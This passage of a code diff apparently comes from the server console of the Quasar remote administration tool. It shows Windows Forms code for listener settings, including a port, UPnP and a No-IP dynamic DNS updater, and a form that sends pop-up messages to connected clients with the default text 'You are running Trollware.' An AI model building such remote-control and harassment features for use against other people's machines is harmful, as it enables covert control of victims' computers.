this.chkShowTooltip.Size = new System.Drawing.Size(268, 17);
this.chkShowTooltip.TabIndex = 9;
this.chkShowTooltip.Text = "Show tooltip on client with system information";
this.chkShowTooltip.UseVisualStyleBackColor = true;
//
// chkNoIPIntegration
//
this.chkNoIPIntegration.AutoSize = true;
this.chkNoIPIntegration.Location = new System.Drawing.Point(12, 177);
this.chkNoIPIntegration.Name = "chkNoIPIntegration";
this.chkNoIPIntegration.Size = new System.Drawing.Size(187, 17);
this.chkNoIPIntegration.TabIndex = 10;
this.chkNoIPIntegration.Text = "Enable No-Ip.com DNS Updater";
this.chkNoIPIntegration.UseVisualStyleBackColor = true;
this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged);
//
// lblHost
//
this.lblHost.AutoSize = true;
this.lblHost.Enabled = false;
this.lblHost.Location = new System.Drawing.Point(30, 203);
this.lblHost.Name = "lblHost";
this.lblHost.Size = new System.Drawing.Size(34, 13);
this.lblHost.TabIndex = 11;
this.lblHost.Text = "Host:";
//
// lblPass
//
this.lblPass.AutoSize = true;
this.lblPass.Enabled = false;
this.lblPass.Location = new System.Drawing.Point(167, 231);
this.lblPass.Name = "lblPass";
this.lblPass.Size = new System.Drawing.Size(32, 13);
this.lblPass.TabIndex = 15;
this.lblPass.Text = "Pass:";
//
// lblUser
//
this.lblUser.AutoSize = true;
this.lblUser.Enabled = false;
this.lblUser.Location = new System.Drawing.Point(30, 231);
this.lblUser.Name = "lblUser";
this.lblUser.Size = new System.Drawing.Size(32, 13);
this.lblUser.TabIndex = 13;
this.lblUser.Text = "Mail:";
//
// txtNoIPPass
//
this.txtNoIPPass.Enabled = false;
this.txtNoIPPass.Location = new System.Drawing.Point(199, 228);
this.txtNoIPPass.Name = "txtNoIPPass";
this.txtNoIPPass.Size = new System.Drawing.Size(100, 22);
this.txtNoIPPass.TabIndex = 16;
//
// txtNoIPUser
//
this.txtNoIPUser.Enabled = false;
this.txtNoIPUser.Location = new System.Drawing.Point(70, 228);
this.txtNoIPUser.Name = "txtNoIPUser";
this.txtNoIPUser.Size = new System.Drawing.Size(91, 22);
this.txtNoIPUser.TabIndex = 14;
//
// txtNoIPHost
//
this.txtNoIPHost.Enabled = false;
this.txtNoIPHost.Location = new System.Drawing.Point(70, 200);
this.txtNoIPHost.Name = "txtNoIPHost";
this.txtNoIPHost.Size = new System.Drawing.Size(229, 22);
this.txtNoIPHost.TabIndex = 12;
//
// chkShowPassword
//
this.chkShowPassword.AutoSize = true;
this.chkShowPassword.Enabled = false;
this.chkShowPassword.Location = new System.Drawing.Point(192, 256);
this.chkShowPassword.Name = "chkShowPassword";
this.chkShowPassword.Size = new System.Drawing.Size(107, 17);
this.chkShowPassword.TabIndex = 17;
this.chkShowPassword.Text = "Show Password";
this.chkShowPassword.UseVisualStyleBackColor = true;
this.chkShowPassword.CheckedChanged += new System.EventHandler(this.chkShowPassword_CheckedChanged);
//
// chkIPv6Support
//
this.chkIPv6Support.AutoSize = true;
this.chkIPv6Support.Location = new System.Drawing.Point(12, 45);
this.chkIPv6Support.Name = "chkIPv6Support";
this.chkIPv6Support.Size = new System.Drawing.Size(128, 17);
this.chkIPv6Support.TabIndex = 5;
this.chkIPv6Support.Text = "Enable IPv6 support";
this.chkIPv6Support.UseVisualStyleBackColor = true;
//
// FrmSettings
//
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(314, 333);
this.Controls.Add(this.chkIPv6Support);
this.Controls.Add(this.chkShowPassword);
this.Controls.Add(this.txtNoIPHost);
this.Controls.Add(this.txtNoIPUser);
this.Controls.Add(this.txtNoIPPass);
this.Controls.Add(this.lblUser);
this.Controls.Add(this.lblPass);
this.Controls.Add(this.lblHost);
this.Controls.Add(this.chkNoIPIntegration);
this.Controls.Add(this.chkShowTooltip);
this.Controls.Add(this.chkUseUpnp);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.btnListen);
this.Controls.Add(this.chkPopup);
this.Controls.Add(this.chkAutoListen);
this.Controls.Add(this.ncPort);
this.Controls.Add(this.lblPort);
this.Controls.Add(this.btnSave);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmSettings";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Settings";
this.Load += new System.EventHandler(this.FrmSettings_Load);
((System.ComponentModel.ISupportInitialize)(this.ncPort)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Button btnSave;
private System.Windows.Forms.Label lblPort;
private System.Windows.Forms.NumericUpDown ncPort;
private System.Windows.Forms.CheckBox chkAutoListen;
private System.Windows.Forms.CheckBox chkPopup;
private System.Windows.Forms.Button btnListen;
private System.Windows.Forms.Button btnCancel;
private System.Windows.Forms.CheckBox chkUseUpnp;
private System.Windows.Forms.CheckBox chkShowTooltip;
private System.Windows.Forms.CheckBox chkNoIPIntegration;
private System.Windows.Forms.Label lblHost;
private System.Windows.Forms.Label lblPass;
private System.Windows.Forms.Label lblUser;
private System.Windows.Forms.TextBox txtNoIPPass;
private System.Windows.Forms.TextBox txtNoIPUser;
private System.Windows.Forms.TextBox txtNoIPHost;
private System.Windows.Forms.CheckBox chkShowPassword;
private System.Windows.Forms.CheckBox chkIPv6Support;
}
}
+156
View File
@@ -0,0 +1,156 @@
using Quasar.Server.Networking;
using Quasar.Server.Utilities;
using System;
using System.Globalization;
using System.Net.Sockets;
using System.Windows.Forms;
using Quasar.Server.Models;
namespace Quasar.Server.Forms
{
public partial class FrmSettings : Form
{
private readonly QuasarServer _listenServer;
public FrmSettings(QuasarServer listenServer)
{
this._listenServer = listenServer;
InitializeComponent();
ToggleListenerSettings(!listenServer.Listening);
ShowPassword(false);
}
private void FrmSettings_Load(object sender, EventArgs e)
{
ncPort.Value = Settings.ListenPort;
chkIPv6Support.Checked = Settings.IPv6Support;
chkAutoListen.Checked = Settings.AutoListen;
chkPopup.Checked = Settings.ShowPopup;
chkUseUpnp.Checked = Settings.UseUPnP;
chkShowTooltip.Checked = Settings.ShowToolTip;
chkNoIPIntegration.Checked = Settings.EnableNoIPUpdater;
txtNoIPHost.Text = Settings.NoIPHost;
txtNoIPUser.Text = Settings.NoIPUsername;
txtNoIPPass.Text = Settings.NoIPPassword;
}
private ushort GetPortSafe()
{
var portValue = ncPort.Value.ToString(CultureInfo.InvariantCulture);
ushort port;
return (!ushort.TryParse(portValue, out port)) ? (ushort)0 : port;
}
private void btnListen_Click(object sender, EventArgs e)
{
ushort port = GetPortSafe();
if (port == 0)
{
MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK,
MessageBoxIcon.Warning);
return;
}
if (btnListen.Text == "Start listening" && !_listenServer.Listening)
{
try
{
if(chkNoIPIntegration.Checked)
NoIpUpdater.Start();
_listenServer.Listen(port, chkIPv6Support.Checked, chkUseUpnp.Checked);
ToggleListenerSettings(false);
}
catch (SocketException ex)
{
if (ex.ErrorCode == 10048)
{
MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
_listenServer.Disconnect();
}
catch (Exception)
{
_listenServer.Disconnect();
}
}
else if (btnListen.Text == "Stop listening" && _listenServer.Listening)
{
_listenServer.Disconnect();
ToggleListenerSettings(true);
}
}
private void btnSave_Click(object sender, EventArgs e)
{
ushort port = GetPortSafe();
if (port == 0)
{
MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK,
MessageBoxIcon.Warning);
return;
}
Settings.ListenPort = port;
Settings.IPv6Support = chkIPv6Support.Checked;
Settings.AutoListen = chkAutoListen.Checked;
Settings.ShowPopup = chkPopup.Checked;
Settings.UseUPnP = chkUseUpnp.Checked;
Settings.ShowToolTip = chkShowTooltip.Checked;
Settings.EnableNoIPUpdater = chkNoIPIntegration.Checked;
Settings.NoIPHost = txtNoIPHost.Text;
Settings.NoIPUsername = txtNoIPUser.Text;
Settings.NoIPPassword = txtNoIPPass.Text;
this.Close();
}
private void btnCancel_Click(object sender, EventArgs e)
{
if (MessageBox.Show("Discard your changes?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question) ==
DialogResult.Yes)
this.Close();
}
private void chkNoIPIntegration_CheckedChanged(object sender, EventArgs e)
{
NoIPControlHandler(chkNoIPIntegration.Checked);
}
private void ToggleListenerSettings(bool enabled)
{
btnListen.Text = enabled ? "Start listening" : "Stop listening";
ncPort.Enabled = enabled;
chkIPv6Support.Enabled = enabled;
chkUseUpnp.Enabled = enabled;
}
private void NoIPControlHandler(bool enable)
{
lblHost.Enabled = enable;
lblUser.Enabled = enable;
lblPass.Enabled = enable;
txtNoIPHost.Enabled = enable;
txtNoIPUser.Enabled = enable;
txtNoIPPass.Enabled = enable;
chkShowPassword.Enabled = enable;
}
private void ShowPassword(bool show = true)
{
txtNoIPPass.PasswordChar = (show) ? (char)0 : (char)'●';
}
private void chkShowPassword_CheckedChanged(object sender, EventArgs e)
{
ShowPassword(chkShowPassword.Checked);
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9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j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+193
View File
@@ -0,0 +1,193 @@
namespace Quasar.Server.Forms
{
partial class FrmShowMessagebox
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmShowMessagebox));
this.groupMsgSettings = new System.Windows.Forms.GroupBox();
this.cmbMsgIcon = new System.Windows.Forms.ComboBox();
this.lblMsgIcon = new System.Windows.Forms.Label();
this.cmbMsgButtons = new System.Windows.Forms.ComboBox();
this.lblMsgButtons = new System.Windows.Forms.Label();
this.txtText = new System.Windows.Forms.TextBox();
this.txtCaption = new System.Windows.Forms.TextBox();
this.lblText = new System.Windows.Forms.Label();
this.lblCaption = new System.Windows.Forms.Label();
this.btnPreview = new System.Windows.Forms.Button();
this.btnSend = new System.Windows.Forms.Button();
this.groupMsgSettings.SuspendLayout();
this.SuspendLayout();
//
// groupMsgSettings
//
this.groupMsgSettings.Controls.Add(this.cmbMsgIcon);
this.groupMsgSettings.Controls.Add(this.lblMsgIcon);
this.groupMsgSettings.Controls.Add(this.cmbMsgButtons);
this.groupMsgSettings.Controls.Add(this.lblMsgButtons);
this.groupMsgSettings.Controls.Add(this.txtText);
this.groupMsgSettings.Controls.Add(this.txtCaption);
this.groupMsgSettings.Controls.Add(this.lblText);
this.groupMsgSettings.Controls.Add(this.lblCaption);
this.groupMsgSettings.Location = new System.Drawing.Point(12, 12);
this.groupMsgSettings.Name = "groupMsgSettings";
this.groupMsgSettings.Size = new System.Drawing.Size(325, 146);
this.groupMsgSettings.TabIndex = 0;
this.groupMsgSettings.TabStop = false;
this.groupMsgSettings.Text = "Messagebox Settings";
//
// cmbMsgIcon
//
this.cmbMsgIcon.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cmbMsgIcon.FormattingEnabled = true;
this.cmbMsgIcon.Location = new System.Drawing.Point(147, 107);
this.cmbMsgIcon.Name = "cmbMsgIcon";
this.cmbMsgIcon.Size = new System.Drawing.Size(162, 21);
this.cmbMsgIcon.TabIndex = 8;
//
// lblMsgIcon
//
this.lblMsgIcon.AutoSize = true;
this.lblMsgIcon.Location = new System.Drawing.Point(42, 110);
this.lblMsgIcon.Name = "lblMsgIcon";
this.lblMsgIcon.Size = new System.Drawing.Size(99, 13);
this.lblMsgIcon.TabIndex = 7;
this.lblMsgIcon.Text = "Messagebox Icon:";
//
// cmbMsgButtons
//
this.cmbMsgButtons.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cmbMsgButtons.FormattingEnabled = true;
this.cmbMsgButtons.Location = new System.Drawing.Point(147, 80);
this.cmbMsgButtons.Name = "cmbMsgButtons";
this.cmbMsgButtons.Size = new System.Drawing.Size(162, 21);
this.cmbMsgButtons.TabIndex = 6;
//
// lblMsgButtons
//
this.lblMsgButtons.AutoSize = true;
this.lblMsgButtons.Location = new System.Drawing.Point(23, 83);
this.lblMsgButtons.Name = "lblMsgButtons";
this.lblMsgButtons.Size = new System.Drawing.Size(118, 13);
this.lblMsgButtons.TabIndex = 5;
this.lblMsgButtons.Text = "Messagebox Buttons:";
//
// txtText
//
this.txtText.Location = new System.Drawing.Point(60, 49);
this.txtText.MaxLength = 256;
this.txtText.Name = "txtText";
this.txtText.Size = new System.Drawing.Size(249, 22);
this.txtText.TabIndex = 4;
this.txtText.Text = "You are running Trollware.";
//
// txtCaption
//
this.txtCaption.Location = new System.Drawing.Point(60, 21);
this.txtCaption.MaxLength = 256;
this.txtCaption.Name = "txtCaption";
this.txtCaption.Size = new System.Drawing.Size(249, 22);
this.txtCaption.TabIndex = 2;
this.txtCaption.Text = "Information";
//
// lblText
//
this.lblText.AutoSize = true;
this.lblText.Location = new System.Drawing.Point(24, 52);
this.lblText.Name = "lblText";
this.lblText.Size = new System.Drawing.Size(30, 13);
this.lblText.TabIndex = 3;
this.lblText.Text = "Text:";
//
// lblCaption
//
this.lblCaption.AutoSize = true;
this.lblCaption.Location = new System.Drawing.Point(6, 24);
this.lblCaption.Name = "lblCaption";
this.lblCaption.Size = new System.Drawing.Size(51, 13);
this.lblCaption.TabIndex = 1;
this.lblCaption.Text = "Caption:";
//
//
// btnPreview
//
this.btnPreview.Location = new System.Drawing.Point(181, 168);
this.btnPreview.Name = "btnPreview";
this.btnPreview.Size = new System.Drawing.Size(75, 23);
this.btnPreview.TabIndex = 5;
this.btnPreview.Text = "Preview";
this.btnPreview.UseVisualStyleBackColor = true;
this.btnPreview.Click += new System.EventHandler(this.btnPreview_Click);
//
// btnSend
//
this.btnSend.Location = new System.Drawing.Point(262, 168);
this.btnSend.Name = "btnSend";
this.btnSend.Size = new System.Drawing.Size(75, 23);
this.btnSend.TabIndex = 6;
this.btnSend.Text = "Send";
this.btnSend.UseVisualStyleBackColor = true;
this.btnSend.Click += new System.EventHandler(this.btnSend_Click);
//
// FrmShowMessagebox
//
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(349, 203);
this.Controls.Add(this.btnSend);
this.Controls.Add(this.btnPreview);
this.Controls.Add(this.groupMsgSettings);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmShowMessagebox";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Show Messagebox []";
this.Load += new System.EventHandler(this.FrmShowMessagebox_Load);
this.groupMsgSettings.ResumeLayout(false);
this.groupMsgSettings.PerformLayout();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.GroupBox groupMsgSettings;
private System.Windows.Forms.ComboBox cmbMsgIcon;
private System.Windows.Forms.Label lblMsgIcon;
private System.Windows.Forms.ComboBox cmbMsgButtons;
private System.Windows.Forms.Label lblMsgButtons;
private System.Windows.Forms.TextBox txtText;
private System.Windows.Forms.TextBox txtCaption;
private System.Windows.Forms.Label lblText;
private System.Windows.Forms.Label lblCaption;
private System.Windows.Forms.Button btnPreview;
private System.Windows.Forms.Button btnSend;
}
}
+99
View File
@@ -0,0 +1,99 @@
using System;
using System.Windows.Forms;
using Quasar.Server.Helper;
namespace Quasar.Server.Forms
{
public partial class FrmShowMessagebox : Form
{
private readonly int _selectedClients;
public string MsgBoxCaption { get; set; }
public string MsgBoxText { get; set; }
public string MsgBoxButton { get; set; }
public string MsgBoxIcon { get; set; }
public FrmShowMessagebox(int selected)
{
_selectedClients = selected;
InitializeComponent();
}
private void FrmShowMessagebox_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Show Messagebox", _selectedClients);
cmbMsgButtons.Items.AddRange(new string[]
{"AbortRetryIgnore", "OK", "OKCancel", "RetryCancel", "YesNo", "YesNoCancel"});
cmbMsgButtons.SelectedIndex = 0;
cmbMsgIcon.Items.AddRange(new string[]
{"None", "Error", "Hand", "Question", "Exclamation", "Warning", "Information", "Asterisk"});
cmbMsgIcon.SelectedIndex = 0;
}
private void btnPreview_Click(object sender, EventArgs e)
{
MessageBox.Show(null, txtText.Text, txtCaption.Text,
(MessageBoxButtons)
Enum.Parse(typeof (MessageBoxButtons), GetMessageBoxButton(cmbMsgButtons.SelectedIndex)),
(MessageBoxIcon) Enum.Parse(typeof (MessageBoxIcon), GetMessageBoxIcon(cmbMsgIcon.SelectedIndex)));
}
private void btnSend_Click(object sender, EventArgs e)
{
MsgBoxCaption = txtCaption.Text;
MsgBoxText = txtText.Text;
MsgBoxButton = GetMessageBoxButton(cmbMsgButtons.SelectedIndex);
MsgBoxIcon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex);
this.DialogResult = DialogResult.OK;
this.Close();
}
private string GetMessageBoxButton(int selectedIndex)
{
switch (selectedIndex)
{
case 0:
return "AbortRetryIgnore";
case 1:
return "OK";
case 2:
return "OKCancel";
case 3:
return "RetryCancel";
case 4:
return "YesNo";
case 5:
return "YesNoCancel";
default:
return "OK";
}
}
private string GetMessageBoxIcon(int selectedIndex)
{
switch (selectedIndex)
{
case 0:
return "None";
case 1:
return "Error";
case 2:
return "Hand";
case 3:
return "Question";
case 4:
return "Exclamation";
case 5:
return "Warning";
case 6:
return "Information";
case 7:
return "Asterisk";
default:
return "None";
}
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
